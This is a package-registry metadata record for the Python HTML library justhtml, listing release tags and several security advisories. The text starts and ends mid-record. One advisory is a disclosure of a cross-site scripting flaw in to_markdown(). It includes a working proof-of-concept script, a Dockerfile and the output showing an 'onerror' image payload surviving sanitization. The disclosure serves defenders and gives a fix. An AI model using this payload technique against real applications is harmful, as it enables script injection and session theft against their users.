Stenstrom/justhtml@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"16943501411fb8e91b25c1afa890ae9a0dd016b7","kind":"commit","published_at":"2025-12-07T23:04:04.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.6.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.6.0/manifests"},{"name":"v.0.6.0","sha":"16943501411fb8e91b25c1afa890ae9a0dd016b7","kind":"commit","published_at":"2025-12-07T23:04:04.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v.0.6.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v.0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v.0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v.0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v.0.6.0/manifests"},{"name":"v0.5.2","sha":"f3cb095337ea816e7fa3992abb4fb9733462e06d","kind":"commit","published_at":"2025-12-07T22:36:15.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.5.2","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"b96abedcbd27dd3a0768a3f6f4d355acf63da340","kind":"commit","published_at":"2025-12-07T12:22:36.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.5.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"51b153dbbe2afac6c7dd825ae13840b36dc18445","kind":"commit","published_at":"2025-12-07T12:11:27.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.5.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"214091105b65dacc08dd70201e21c0ea51d80fe3","kind":"commit","published_at":"2025-12-06T15:24:38.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.4.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"befb471e8a88d067af7c4e6cb01a3a766673b2fe","kind":"commit","published_at":"2025-12-01T23:18:39.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.3.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"63a5019fa3456a9fce31810d84c04b6820939137","kind":"commit","published_at":"2025-12-01T23:12:08.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.2.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"8bc80c5baa29a53a417db7a0db56a0ab5fa92104","kind":"commit","published_at":"2025-11-30T12:35:34.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.1.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-12T21:59:02.828Z","dependent_packages_count":0,"downloads":82333,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":46.51643883298525,"dependent_packages_count":8.229305107271692,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":27.37287197012847},"purl":"pkg:pypi/justhtml","advisories":[{"uuid":"GSA_kwCzR0hTQS04OTJtLWdjcTgtMjQ2OM4ABlJz","url":"https://github.com/advisories/GHSA-892m-gcq8-2468","title":"Duplicate Advisory: Uncontrolled recursion DoS in JustHTML() via deeply nested HTML","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-v7cf-c9rm-wm3j. This link is maintained to preserve external references.\n\n### Original Description\njusthtml through 1.9.1 (fixed in 1.10.0) is vulnerable to uncontrolled recursion leading to denial of service. During JustHTML() construction, TreeBuilder.finish() unconditionally calls _populate_selectedcontent(), which recursively traverses the DOM tree via _find_elements()/_find_element() without a depth bound. An attacker who can supply HTML for parsing can provide deeply nested elements (e.g., ~1000 nested \u003cdiv\u003e tags, roughly 11 KB) to exceed CPython's default recursion limit and trigger an unhandled RecursionError, which may abort parsing, fail requests, or terminate a worker/process depending on the host application's exception handling.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-23T15:33:06.000Z","withdrawn_at":"2026-08-25T16:40:27.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-v7cf-c9rm-wm3j","https://nvd.nist.gov/vuln/detail/CVE-2026-9769","https://www.vulncheck.com/advisories/justhtml-before-denial-of-service-via-deeply-nested-html","https://github.com/advisories/GHSA-892m-gcq8-2468"],"source_kind":"github","identifiers":["GHSA-892m-gcq8-2468"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-25T17:00:24.054Z","updated_at":"2026-10-16T06:01:22.360Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OTJtLWdjcTgtMjQ2OM4ABlJz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OTJtLWdjcTgtMjQ2OM4ABlJz","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.9.1"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OTJtLWdjcTgtMjQ2OM4ABlJz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZjZ3LTJtdngtNjMzas4ABZgi","url":"https://github.com/advisories/GHSA-jf6w-2mvx-633j","title":"justhtml: to_markdown() code-span blank-line breakout enables XSS","description":"# justhtml: to_markdown() code-span blank-line breakout enables XSS\n\n### Summary\n\nIn `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `\u003ccode\u003e` text (and `\u003cpre\u003e` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\\n\\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted **unescaped** after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely **CWE-79 (Cross-site Scripting)** arising from **CWE-116 (Improper Encoding/Escaping of Output)**.\n\n### Details\n\n`to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies \"to the HTML produced by rendering that Markdown with a compliant Markdown renderer,\" and `SECURITY.md` promises `to_markdown()` \"escapes line-start Markdown markers that could change block structure\" and \"uses code fences long enough to contain backticks safely.\"\n\nThe inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:\n\n`src/justhtml/node.py:32-41` (tag `v1.21.0`):\n\n```python\ndef _markdown_code_span(s: str | None) -\u003e str:\n    if s is None:\n        s = \"\"\n    # Use a backtick fence longer than any run of backticks inside.\n    fence = _markdown_backtick_fence(s, minimum=1)\n    # CommonMark requires a space if the content starts/ends with backticks.\n    needs_space = s.startswith(\"`\") or s.endswith(\"`\")\n    if needs_space:\n        return f\"{fence} {s} {fence}\"\n    return f\"{fence}{s}{fence}\"\n```\n\nThe element's text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper:\n\n`src/justhtml/node.py:1061-1078` (tag `v1.21.0`):\n\n```python\n            if tag == \"pre\":\n                code = current.to_text(separator=\"\", strip=False)\n                if current_in_link:\n                    current_builder.raw(_markdown_code_span(code))      # inline path\n                else:\n                    fence = _markdown_backtick_fence(code, minimum=3)   # block path\n                    ...\n            if tag == \"code\" and not current_preserve:\n                current_builder.raw(_markdown_code_span(current.to_text(separator=\"\", strip=False)))\n```\n\nA Markdown **inline code span is an inline construct and cannot span a block boundary**: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `\u003cimg src=x onerror=...\u003e` becomes a live element.\n\nReachability with default settings: `JustHTML(html)` sanitizes by default; `\u003ccode\u003e` and `\u003cpre\u003e` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in **text**, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `\u0026lt;img …\u0026gt;` enters the DOM as literal `\u003cimg …\u003e` text while passing HTML sanitization.\n\nTwo in-repo asymmetries confirm this is an unguarded path rather than intended behavior:\n\n- **Plain text-node content is HTML-escaped** before Markdown escaping, so the same `\u0026lt;img …\u0026gt;` outside a code span is neutralized to `\u0026lt;img …\u003e`. Inside a code span it is not escaped — the fence is assumed sufficient.\n- **`\u003cpre\u003e` outside a link uses a block fence** (`minimum=3`, line 1066), which a  blank line cannot break. The same `\u003cpre\u003e` **inside a link** (line 1064) and all `\u003ccode\u003e` use the inline span, which a blank line breaks.\n\n### PoC\n\nSelf-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is **parsed** to show a live handler-bearing element materializes; no JavaScript is executed on the default path.\n\n`Dockerfile`:\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /poc\nRUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \\\n \u0026\u0026 (pip install --no-cache-dir dukpy==0.5.0 || echo \"dukpy optional: skipped\")\nCOPY poc.py test.sh /poc/\nCMD [\"sh\", \"/poc/test.sh\"]\n```\n\n`poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: justhtml to_markdown() inline code-span blank-line breakout -\u003e XSS.\nAudited release: justhtml==1.21.0. Static by default (parses the rendered HTML;\nno JS executed). --prove-exec is an opt-in, container-only execution check.\"\"\"\nfrom __future__ import annotations\nimport argparse\nfrom html.parser import HTMLParser\nfrom justhtml import JustHTML\nfrom markdown_it import MarkdownIt\n\nMARKER = \"__POC_XSS_MARKER__\"\nPAYLOAD_TEXT = f\"\u003cimg src=x onerror={MARKER}()\u003e\"\nRENDER = MarkdownIt(\"commonmark\")  # raw-HTML passthrough is the CommonMark default\n\n\ndef build_inputs() -\u003e tuple[str, str]:\n    enc = PAYLOAD_TEXT.replace(\"\u003c\", \"\u0026lt;\").replace(\"\u003e\", \"\u0026gt;\")\n    control = f\"\u003ccode\u003eq{enc}\u003c/code\u003e\"          # no blank line -\u003e should stay inert\n    exploit = f\"\u003ccode\u003eq\\n\\n{enc}\u003c/code\u003e\"      # + one blank line -\u003e the whole exploit\n    return control, exploit\n\n\ndef to_markdown(html: str) -\u003e str:\n    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True\n\n\nclass _SinkFinder(HTMLParser):\n    def __init__(self) -\u003e None:\n        super().__init__(); self.sinks: list[tuple[str, str, str]] = []\n    def handle_starttag(self, tag, attrs):\n        for name, val in attrs:\n            if name.startswith(\"on\") and val and MARKER in val:\n                self.sinks.append((tag, name, val))\n\n\ndef live_sinks(html: str):\n    f = _SinkFinder(); f.feed(html); return f.sinks\n\n\ndef show(label: str, html: str):\n    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)\n    print(f\"== {label} ==\")\n    print(f\"  1. input HTML        : {html!r}\")\n    print(f\"  2. to_markdown() out : {md!r}\")\n    print(f\"  3. CommonMark render : {rendered.strip()!r}\")\n    print(f\"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\\n\")\n    return rendered, sinks\n\n\ndef prove_exec(rendered: str) -\u003e None:\n    print(\"== --prove-exec (supplementary, container-only) ==\")\n    sinks = live_sinks(rendered)\n    if not sinks:\n        print(\"  no sink to execute\"); return\n    handler_js = sinks[0][2]\n    print(f\"  materialized handler JS: {handler_js!r}\")\n    try:\n        import dukpy\n    except Exception:\n        print(\"  [skipped] optional 'dukpy' not installed; parse proof is canonical.\"); return\n    result = dukpy.evaljs(f\"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;\")\n    print(f\"  JS engine result: {result!r}  -\u003e attacker JS executed\" if result else \"  JS did not fire\")\n\n\ndef main() -\u003e int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--prove-exec\", action=\"store_true\")\n    args = ap.parse_args()\n    control, exploit = build_inputs()\n    print(\"Delta between control and exploit: exactly one blank line (\\\\n\\\\n).\\n\")\n    _, c_sinks = show(\"CONTROL  (payload in \u003ccode\u003e, NO blank line)\", control)\n    ex_rendered, e_sinks = show(\"EXPLOIT  (payload in \u003ccode\u003e, + blank line)\", exploit)\n    ok = (not c_sinks) and bool(e_sinks)\n    print(\"== VERDICT ==\")\n    print(\"  BYPASS CONFIRMED.\" if ok else \"  not reproduced\")\n    if ok:\n        print(f\"  Sanitized code text became a LIVE element: {e_sinks[0]}\")\n    print()\n    if ok and args.prove_exec:\n        prove_exec(ex_rendered)\n    return 0 if ok else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nBuild and run:\n\n```bash\ndocker build -t justhtml-md-poc ./poc\ndocker run --rm justhtml-md-poc\n```\n\nObserved output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`):\n\n```\n=== Versions under test ===\nName: justhtml\nVersion: 1.21.0\nName: markdown-it-py\nVersion: 4.2.0\n\nDelta between control and exploit: exactly one blank line (\\n\\n)\ninserted into otherwise identical \u003ccode\u003e text.\n\n== CONTROL  (payload in \u003ccode\u003e, NO blank line) ==\n  1. input HTML        : '\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e'\n  2. to_markdown() out : '`q\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`'\n  3. CommonMark render : '\u003cp\u003e\u003ccode\u003eq\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e\u003c/p\u003e'\n  4. live JS sinks     : NONE (inert)\n\n== EXPLOIT  (payload in \u003ccode\u003e, + blank line) ==\n  1. input HTML        : '\u003ccode\u003eq\\n\\n\u0026lt;img src=x onerror=__POC_XSS_MARKER__()\u0026gt;\u003c/code\u003e'\n  2. to_markdown() out : '`q\\n\\n\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`'\n  3. CommonMark render : '\u003cp\u003e`q\u003c/p\u003e\\n\u003cp\u003e\u003cimg src=x onerror=__POC_XSS_MARKER__()\u003e`\u003c/p\u003e'\n  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]\n\n== VERDICT ==\n  BYPASS CONFIRMED.\n  The blank line terminated the inline code span; sanitized code\n  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')\n  The control (no blank line) stayed inert inside \u003ccode\u003e.\n```\n\nThe exploit is byte-identical to the inert control plus a single blank line\n(`\\n\\n`). Deterministic: same input → same result.\n\nOptional execution confirmation (`docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec`)\n— supplementary; the parse proof above is canonical. Inert marker only:\n\n```\n== --prove-exec (supplementary, container-only) ==\n  materialized handler JS: '__POC_XSS_MARKER__()'\n  JS engine result: 'XSS-EXECUTED'  -\u003e attacker JS executed\n```\n\n### Impact\n\nThis is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with `JustHTML(...)` under default settings, call `to_markdown()`, and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).\n\nAn attacker only needs to control HTML text inside a `\u003ccode\u003e` element, or a `\u003cpre\u003e` element within a link — no custom policy and no `sanitize=False`. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.\n\nSeverity: CVSS 3.1 **6.1 (Moderate)**,\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.\n\n### Recommended fix\n\nDo not represent text containing a block boundary as an inline code span. In `_markdown_code_span` / the `\u003ccode\u003e` and in-link `\u003cpre\u003e` dispatch (`src/justhtml/node.py:1061-1078`), if the content contains a blank line (or any `\\n`), emit it as a fenced code **block** — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.\n\n### Resources\n\n- CWE-79 — https://cwe.mitre.org/data/definitions/79.html\n- CWE-116 — https://cwe.mitre.org/data/definitions/116.html\n- Affected source (tag `v1.21.0`): `src/justhtml/node.py:32-41` (`_markdown_code_span`),  `src/justhtml/node.py:1061-1078` (`\u003cpre\u003e`/`\u003ccode\u003e` dispatch).\n- CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans\n- Novelty: same vulnerability class as two prior, already-fixed `to_markdown()` advisories but a **distinct, still-unfixed variant**. The earlier fixes address\n  (a) HTML-escaping of plain text nodes and (b) backtick-fence **length** for `\u003cpre\u003e` code **blocks**. Neither addresses a **blank-line** break of an **inline**  code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at `v1.21.0`, and `origin/main == v1.21.0` (no embargoed fix).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-25T17:35:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-jf6w-2mvx-633j","https://github.com/advisories/GHSA-jf6w-2mvx-633j"],"source_kind":"github","identifiers":["GHSA-jf6w-2mvx-633j"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-25T18:00:08.341Z","updated_at":"2026-10-16T06:02:37.063Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjZ3LTJtdngtNjMzas4ABZgi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZjZ3LTJtdngtNjMzas4ABZgi","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.22.0","vulnerable_version_range":"\u003e= 0.9.0, \u003c= 1.21.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjZ3LTJtdngtNjMzas4ABZgi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOGNqLTM1NTQtMzNtcs4ABWfa","url":"https://github.com/advisories/GHSA-r8cj-3554-33mr","title":"justhtml introduces denial-of-service hardening","description":"## Summary\n\n`justhtml` `1.18.0` fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.\n\nThese issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.\n\n## Affected versions\n\n- `justhtml` `\u003c 1.18.0`\n\n## Fixed version\n\n- `justhtml` `1.18.0` released on May 4, 2026\n\n## Impact\n\n### CSS selector handling\n\nApplications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.\n\nThe affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as `:not(...)`, repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and `:contains(...)` over large descendant text.\n\nProgrammatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for `:contains(...)`.\n\n### Linkification\n\nAttacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.\n\n## Default configuration\n\nOrdinary sanitization of parsed HTML with the default `JustHTML(..., sanitize=True)` configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.\n\nThe main risk areas are:\n\n- applications that accept selector strings from untrusted users and pass them to `query(...)`, `matches(...)`, or selector-based transforms\n- custom transform or sanitization pipelines that run selector matching over very large untrusted documents\n- applications that construct or mutate DOM trees programmatically from untrusted structure\n- applications that enable `Linkify(...)` over attacker-controlled text\n\n## Fixes in 1.18.0\n\n`1.18.0` adds generalized selector resource controls and removes several repeated-work hot paths:\n\n- shared selector limits for parse and match operations\n- structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth\n- match-operation and string-byte budgets\n- per-query matcher state for caches and cycle guards\n- precomputed or cached ancestor, sibling, positional, attribute-token, text-content, `:not(...)`, `:empty`, and `:nth-child(...)` work\n- consistent enforcement across public parsing, `query(...)`, tag-only query fast paths, transform selector compilation, and sanitization transform matching\n- linkification hardening for punctuation-heavy inputs and trailing bracket trimming\n\n## CWE mapping\n\n- CWE-400: Uncontrolled Resource Consumption\n- CWE-407: Inefficient Algorithmic Complexity\n- CWE-835: Loop with Unreachable Exit Condition\n\n## Recommended action\n\nUpgrade to `justhtml` `1.18.0`.\n\nIf users cannot upgrade immediately:\n\n- do not pass untrusted selector strings to `query(...)`, `matches(...)`, or selector-based transforms\n- restrict the size of untrusted documents before selector matching or linkification\n- avoid constructing programmatic DOM graphs from untrusted structure\n- avoid enabling `Linkify(...)` on very large attacker-controlled text\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-08T18:19:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-r8cj-3554-33mr","https://github.com/advisories/GHSA-r8cj-3554-33mr"],"source_kind":"github","identifiers":["GHSA-r8cj-3554-33mr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-08T19:00:08.629Z","updated_at":"2026-10-16T06:03:37.590Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOGNqLTM1NTQtMzNtcs4ABWfa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOGNqLTM1NTQtMzNtcs4ABWfa","packages":[{"ecosystem":"pypi","package_name":"justhtml","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003c 1.18.0"}],"purl":"pkg:pypi/justhtml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOGNqLTM1NTQtMzNtcs4ABWfa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cngyLTc3ZjItd3czNM4ABVqC","url":"https://github.com/advisories/GHSA-vrx2-77f2-ww34","title":"justhtml has sanitization bypass in custom policies and programmatic DOM","description":"## Summary\n\n`justhtml` `1.17.0` fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.\n\nMost of these issues affected advanced or custom configurations rather than the default safe path.\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.16.0`\n\n## Fixed version\n\n- `justhtml` `1.17.0` released on April 19, 2026\n\n## Impact\n\n### Custom SVG / MathML sanitization policies\nCustom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:\n\n- active HTML integration points such as SVG `\u003cforeignObject\u003e`, MathML `\u003cannotation-xml encoding=\"text/html\"\u003e`, SVG `\u003ctitle\u003e` / `\u003cdesc\u003e`, and MathML text integration points\n- mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse\n- SVG `filter=\"url(...)\"` attributes that could trigger external fetches\n\nThese issues affected:\n- `JustHTML(..., sanitize=True)` with custom foreign-namespace policies\n- `sanitize()` / `sanitize_dom()`\n- low-level terminal `Sanitize(...)` transform execution\n\n### Preserved `\u003cstyle\u003e` handling\nConstructor-time sanitization and explicit `Sanitize(...)` transforms did not fully match `sanitize()` / `sanitize_dom()` when custom policies preserved `\u003cstyle\u003e`.\n\nThat could leave resource-loading CSS such as `@import` or `background-image:url(...)` in sanitized output from HTML string input.\n\n### Programmatic DOM serialization\nProgrammatic `script`, `style`, and `Comment(...)` nodes could still serialize into active markup in some edge cases.\n\nThis could affect applications that build or mutate DOM trees directly before calling `to_html()` or `to_markdown(html_passthrough=True)`.\n\n### Cache mutation and DOM cycle handling\nTwo lower-severity hardening fixes were included:\n\n- compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization\n- parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as `to_html()` and `sanitize_dom()`\n\n## Default configuration\n\nMost of the issues above did **not** affect ordinary parsed HTML with the default `JustHTML(..., sanitize=True)` configuration.\n\nThe main risk areas were:\n\n- custom policies that preserve SVG or MathML\n- custom policies that preserve `\u003cstyle\u003e`\n- programmatic DOM construction or mutation\n- low-level direct sanitizer/transform APIs\n\n## Recommended action\n\nUpgrade to `justhtml` `1.17.0`.\n\nIf users cannot upgrade immediately:\n\n- avoid preserving SVG or MathML for untrusted input\n- avoid preserving `\u003cstyle\u003e` for untrusted input\n- avoid mutating programmatic DOM trees with untrusted `script`, `style`, or comment content\n- avoid mutating warmed policy internals or sanitizer caches\n\n## Credit\n\nDiscovered during an internal security review of 